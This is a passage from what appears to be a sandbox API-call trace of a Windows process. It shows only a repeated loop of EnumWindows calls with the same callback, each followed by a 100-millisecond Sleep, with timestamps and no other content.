lParam=0x2290000) [0239.611] Sleep (dwMilliseconds=0x64) [0239.666] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.667] Sleep (dwMilliseconds=0x64) [0239.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.722] Sleep (dwMilliseconds=0x64) [0239.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.734] Sleep (dwMilliseconds=0x64) [0239.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.746] Sleep (dwMilliseconds=0x64) [0239.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.800] Sleep (dwMilliseconds=0x64) [0239.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.858] Sleep (dwMilliseconds=0x64) [0239.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.861] Sleep (dwMilliseconds=0x64) [0239.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.863] Sleep (dwMilliseconds=0x64) [0239.865] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.865] Sleep (dwMilliseconds=0x64) [0239.877] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.878] Sleep (dwMilliseconds=0x64) [0239.941] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.942] Sleep (dwMilliseconds=0x64) [0239.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.981] Sleep (dwMilliseconds=0x64) [0239.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.989] Sleep (dwMilliseconds=0x64) [0240.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.060] Sleep (dwMilliseconds=0x64) [0240.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.063] Sleep (dwMilliseconds=0x64) [0240.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.065] Sleep (dwMilliseconds=0x64) [0240.067] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.067] Sleep (dwMilliseconds=0x64) [0240.069] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.069] Sleep (dwMilliseconds=0x64) [0240.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.078] Sleep (dwMilliseconds=0x64) [0240.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.086] Sleep (dwMilliseconds=0x64) [0240.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.094] Sleep (dwMilliseconds=0x64) [0240.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.096] Sleep (dwMilliseconds=0x64) [0240.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.098] Sleep (dwMilliseconds=0x64) [0240.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.100] Sleep (dwMilliseconds=0x64) [0240.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.103] Sleep (dwMilliseconds=0x64) [0240.105] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.105] Sleep (dwMilliseconds=0x64) [0240.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.107] Sleep (dwMilliseconds=0x64) [0240.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.109] Sleep (dwMilliseconds=0x64) [0240.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.111] Sleep (dwMilliseconds=0x64) [0240.113] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.113] Sleep (dwMilliseconds=0x64) [0240.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.121] Sleep (dwMilliseconds=0x64) [0240.122] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.123] Sleep (dwMilliseconds=0x64) [0240.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.127] Sleep (dwMilliseconds=0x64) [0240.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.129] Sleep (dwMilliseconds=0x64) [0240.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.131] Sleep (dwMilliseconds=0x64) [0240.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.133] Sleep (dwMilliseconds=0x64) [0240.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.136] Sleep (dwMilliseconds=0x64) [0240.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.138] Sleep (dwMilliseconds=0x64) [0240.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.141] Sleep (dwMilliseconds=0x64) [0240.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.143] Sleep (dwMilliseconds=0x64) [0240.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.145] Sleep (dwMilliseconds=0x64) [0240.147] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.147] Sleep (dwMilliseconds=0x64) [0240.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.149] Sleep (dwMilliseconds=0x64) [0240.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.151] Sleep (dwMilliseconds=0x64) [0240.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.153] Sleep (dwMilliseconds=0x64) [0240.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.256] Sleep (dwMilliseconds=0x64) [0240.258] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.258] Sleep (dwMilliseconds=0x64) [0240.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.260] Sleep (dwMilliseconds=0x64) [0240.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.263] Sleep (dwMilliseconds=0x64) [0240.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.264] Sleep (dwMilliseconds=0x64) [0240.265] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.266] Sleep (dwMilliseconds=0x64) [0240.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.268] Sleep (dwMilliseconds=0x64) [0240.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.270] Sleep (dwMilliseconds=0x64) [0240.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.272] Sleep (dwMilliseconds=0x64) [0240.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.274] Sleep (dwMilliseconds=0x64) [0240.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.276] Sleep (dwMilliseconds=0x64) [0240.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.279] Sleep (dwMilliseconds=0x64) [0240.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.281] Sleep (dwMilliseconds=0x64) [0240.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.283] Sleep (dwMilliseconds=0x64) [0240.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.285] Sleep (dwMilliseconds=0x64) [0240.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.287] Sleep (dwMilliseconds=0x64) [0240.299] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.302] Sleep (dwMilliseconds=0x64) [0240.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.304] Sleep (dwMilliseconds=0x64) [0240.305] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.306] Sleep (dwMilliseconds=0x64) [0240.307] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.308] Sleep (dwMilliseconds=0x64) [0240.309] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.310] Sleep (dwMilliseconds=0x64) [0240.312] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.312] Sleep (dwMilliseconds=0x64) [0240.314] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.314] Sleep (dwMilliseconds=0x64) [0240.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.316] Sleep (dwMilliseconds=0x64) [0240.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.322] Sleep (dwMilliseconds=0x64) [0240.324] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.325] Sleep (dwMilliseconds=0x64) [0240.327] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.327] Sleep (dwMilliseconds=0x64) [0240.329] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.330] Sleep (dwMilliseconds=0x64) [0240.331] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.332] Sleep (dwMilliseconds=0x64) [0240.333] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.333] Sleep (dwMilliseconds=0x64) [0240.335] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.336] Sleep (dwMilliseconds=0x64) [0240.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.337] Sleep (dwMilliseconds=0x64) [0240.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.340] Sleep (dwMilliseconds=0x64) [0240.341] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.342] Sleep (dwMilliseconds=0x64) [0240.344] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.344] Sleep (dwMilliseconds=0x64) [0240.346] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.346] Sleep (dwMilliseconds=0x64) [0240.348] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.348] Sleep (dwMilliseconds=0x64) [0240.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.350] Sleep (dwMilliseconds=0x64) [0240.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.352] Sleep (dwMilliseconds=0x64) [0240.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.354] Sleep (dwMilliseconds=0x64) [0240.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.356] Sleep (dwMilliseconds=0x64) [0240.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.358] Sleep (dwMilliseconds=0x64) [0240.365] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.365] Sleep (dwMilliseconds=0x64) [0240.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.367] Sleep (dwMilliseconds=0x64) [0240.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.369] Sleep (dwMilliseconds=0x64) [0240.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.382] Sleep (dwMilliseconds=0x64) [0240.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.384] Sleep (dwMilliseconds=0x64) [0240.385] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.385] Sleep (dwMilliseconds=0x64) [0240.390] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.391] Sleep (dwMilliseconds=0x64) [0240.392] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.392] Sleep (dwMilliseconds=0x64) [0240.394] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.394] Sleep (dwMilliseconds=0x64) [0240.396] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.396] Sleep (dwMilliseconds=0x64) [0240.397] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.397] Sleep (dwMilliseconds=0x64) [0240.399] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.399] Sleep (dwMilliseconds=0x64) [0240.400] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.400] Sleep (dwMilliseconds=0x64) [0240.403] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.408] Sleep (dwMilliseconds=0x64) [0240.410] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.410] Sleep (dwMilliseconds=0x64) [0240.412] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.412] Sleep (dwMilliseconds=0x64) [0240.414] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.415] Sleep (dwMilliseconds=0x64) [0240.416] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.416] Sleep (dwMilliseconds=0x64) [0240.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.418] Sleep (dwMilliseconds=0x64) [0240.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.421] Sleep (dwMilliseconds=0x64) [0240.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.423] Sleep (dwMilliseconds=0x64) [0240.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.425] Sleep (dwMilliseconds=0x64) [0240.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.427] Sleep (dwMilliseconds=0x64) [0240.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.428] Sleep (dwMilliseconds=0x64) [0240.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.430] Sleep (dwMilliseconds=0x64) [0240.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.432] Sleep (dwMilliseconds=0x64) [0240.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.434] Sleep (dwMilliseconds=0x64) [0240.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.436] Sleep (dwMilliseconds=0x64) [0240.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.438] Sleep (dwMilliseconds=0x64) [0240.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.440] Sleep (dwMilliseconds=0x64) [0240.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.441] Sleep (dwMilliseconds=0x64) [0240.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.464] Sleep (dwMilliseconds=0x64) [0240.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.466] Sleep (dwMilliseconds=0x64) [0240.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.475] Sleep (dwMilliseconds=0x64) [0240.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.477] Sleep (dwMilliseconds=0x64) [0240.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.479] Sleep (dwMilliseconds=0x64) [0240.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.481] Sleep (dwMilliseconds=0x64) [0240.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.483] Sleep (dwMilliseconds=0x64) [0240.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.485] Sleep (dwMilliseconds=0x64) [0240.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.488] Sleep (dwMilliseconds=0x64) [0240.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.489] Sleep (dwMilliseconds=0x64) [0240.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.491] Sleep (dwMilliseconds=0x64) [0240.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.493] Sleep (dwMilliseconds=0x64) [0240.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.495] Sleep (dwMilliseconds=0x64) [0240.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.497] Sleep (dwMilliseconds=0x64) [0240.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.499] Sleep (dwMilliseconds=0x64) [0240.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.501] Sleep (dwMilliseconds=0x64) [0240.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.503] Sleep (dwMilliseconds=0x64) [0240.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.506] Sleep (dwMilliseconds=0x64) [0240.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.508] Sleep (dwMilliseconds=0x64) [0240.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.510] Sleep (dwMilliseconds=0x64) [0240.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.512] Sleep (dwMilliseconds=0x64) [0240.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.515] Sleep (dwMilliseconds=0x64) [0240.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.517] Sleep (dwMilliseconds=0x64) [0240.518] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.518] Sleep (dwMilliseconds=0x64) [0240.520] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.520] Sleep (dwMilliseconds=0x64) [0240.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.522] Sleep (dwMilliseconds=0x64) [0240.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.524] Sleep (dwMilliseconds=0x64) [0240.526] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.526] Sleep (dwMilliseconds=0x64) [0240.528] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.529] Sleep (dwMilliseconds=0x64) [0240.530] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.531] Sleep (dwMilliseconds=0x64) [0240.533] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.533] Sleep (dwMilliseconds=0x64) [0240.535] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.535] Sleep (dwMilliseconds=0x64) [0240.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.537] Sleep (dwMilliseconds=0x64) [0240.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.539] Sleep (dwMilliseconds=0x64) [0240.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.541] Sleep (dwMilliseconds=0x64) [0240.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.543] Sleep (dwMilliseconds=0x64) [0240.545] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.545] Sleep (dwMilliseconds=0x64) [0240.547] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.547] Sleep (dwMilliseconds=0x64) [0240.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.549] Sleep (dwMilliseconds=0x64) [0240.550] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.550] Sleep (dwMilliseconds=0x64) [0240.552] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.552] Sleep (dwMilliseconds=0x64) [0240.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.554] Sleep (dwMilliseconds=0x64) [0240.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.562] Sleep (dwMilliseconds=0x64) [0240.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.564] Sleep (dwMilliseconds=0x64) [0240.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.565] Sleep (dwMilliseconds=0x64) [0240.567] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.568] Sleep (dwMilliseconds=0x64) [0240.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.572] Sleep (dwMilliseconds=0x64) [0240.573] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.574] Sleep (dwMilliseconds=0x64) [0240.575] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.576] Sleep (dwMilliseconds=0x64) [0240.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.578] Sleep (dwMilliseconds=0x64) [0240.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.580] Sleep (dwMilliseconds=0x64) [0240.582] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.583] Sleep (dwMilliseconds=0x64) [0240.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.700] Sleep (dwMilliseconds=0x64) [0240.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.703] Sleep (dwMilliseconds=0x64) [0240.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.712] Sleep (dwMilliseconds=0x64) [0240.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.721] Sleep (dwMilliseconds=0x64) [0240.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.728] Sleep (dwMilliseconds=0x64) [0240.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.766] Sleep (dwMilliseconds=0x64) [0240.836] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.837] Sleep (dwMilliseconds=0x64) [0240.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.841] Sleep (dwMilliseconds=0x64) [0240.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.847] Sleep (dwMilliseconds=0x64) [0240.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.849] Sleep (dwMilliseconds=0x64) [0240.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.852] Sleep (dwMilliseconds=0x64) [0240.855] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.856] Sleep (dwMilliseconds=0x64) [0240.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.857] Sleep (dwMilliseconds=0x64) [0240.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.860] Sleep (dwMilliseconds=0x64) [0240.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.861] Sleep (dwMilliseconds=0x64) [0240.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.872] Sleep (dwMilliseconds=0x64) [0240.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.887] Sleep (dwMilliseconds=0x64) [0240.934] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0240.935] Sleep (dwMilliseconds=0x64) [0241.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.029] Sleep (dwMilliseconds=0x64) [0241.032] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.032] Sleep (dwMilliseconds=0x64) [0241.034] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.034] Sleep (dwMilliseconds=0x64) [0241.036] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.036] Sleep (dwMilliseconds=0x64) [0241.038] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.038] Sleep (dwMilliseconds=0x64) [0241.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.042] Sleep (dwMilliseconds=0x64) [0241.044] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.045] Sleep (dwMilliseconds=0x64) [0241.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.046] Sleep (dwMilliseconds=0x64) [0241.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.049] Sleep (dwMilliseconds=0x64) [0241.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.050] Sleep (dwMilliseconds=0x64) [0241.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.052] Sleep (dwMilliseconds=0x64) [0241.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.055] Sleep (dwMilliseconds=0x64) [0241.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.056] Sleep (dwMilliseconds=0x64) [0241.058] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.058] Sleep (dwMilliseconds=0x64) [0241.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.061] Sleep (dwMilliseconds=0x64) [0241.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.163] Sleep (dwMilliseconds=0x64) [0241.171] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.172] Sleep (dwMilliseconds=0x64) [0241.173] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.174] Sleep (dwMilliseconds=0x64) [0241.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.182] Sleep (dwMilliseconds=0x64) [0241.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.184] Sleep (dwMilliseconds=0x64) [0241.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.192] Sleep (dwMilliseconds=0x64) [0241.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.196] Sleep (dwMilliseconds=0x64) [0241.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.205] Sleep (dwMilliseconds=0x64) [0241.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.295] Sleep (dwMilliseconds=0x64) [0241.314] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.314] Sleep (dwMilliseconds=0x64) [0241.317] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.318] Sleep (dwMilliseconds=0x64) [0241.320] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.320] Sleep (dwMilliseconds=0x64) [0241.322] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.322] Sleep (dwMilliseconds=0x64) [0241.333] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.334] Sleep (dwMilliseconds=0x64) [0241.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.346] Sleep (dwMilliseconds=0x64) [0241.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.433] Sleep (dwMilliseconds=0x64) [0241.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.441] Sleep (dwMilliseconds=0x64) [0241.533] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.534] Sleep (dwMilliseconds=0x64) [0241.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.537] Sleep (dwMilliseconds=0x64) [0241.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.653] Sleep (dwMilliseconds=0x64) [0241.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.720] Sleep (dwMilliseconds=0x64) [0241.941] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.942] Sleep (dwMilliseconds=0x64) [0241.943] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.944] Sleep (dwMilliseconds=0x64) [0241.945] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.946] Sleep (dwMilliseconds=0x64) [0241.947] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.948] Sleep (dwMilliseconds=0x64) [0241.949] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.950] Sleep (dwMilliseconds=0x64) [0241.951] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.952] Sleep (dwMilliseconds=0x64) [0241.953] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.954] Sleep (dwMilliseconds=0x64) [0241.956] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.957] Sleep (dwMilliseconds=0x64) [0241.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.959] Sleep (dwMilliseconds=0x64) [0241.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.961] Sleep (dwMilliseconds=0x64) [0241.962] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.963] Sleep (dwMilliseconds=0x64) [0241.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.965] Sleep (dwMilliseconds=0x64) [0241.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.967] Sleep 